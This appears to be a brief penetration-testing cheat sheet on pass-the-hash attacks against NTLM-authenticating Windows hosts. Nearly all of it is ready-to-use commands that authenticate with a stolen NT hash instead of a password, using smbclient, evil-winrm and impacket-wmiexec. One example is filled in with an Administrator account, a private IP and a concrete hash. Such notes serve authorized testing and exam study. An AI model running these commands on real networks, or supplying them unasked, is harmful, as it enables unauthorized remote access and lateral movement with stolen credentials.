Server needs to use NTLM
another host must have remote logon (RDP, SQL, SMB, etc)
smb
smbclient \\\\<ip>\\dir -U user --pw-nt-hash <hash>
smbclient \\192.168.50.212\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b
evil-winrm
evil-winrm -i <ip> -u user -H <hash>
impacket
impacket-wmiexec -Hashes 00000000000000000000000000000000:<hash> user@ip
Last updated 1 month ago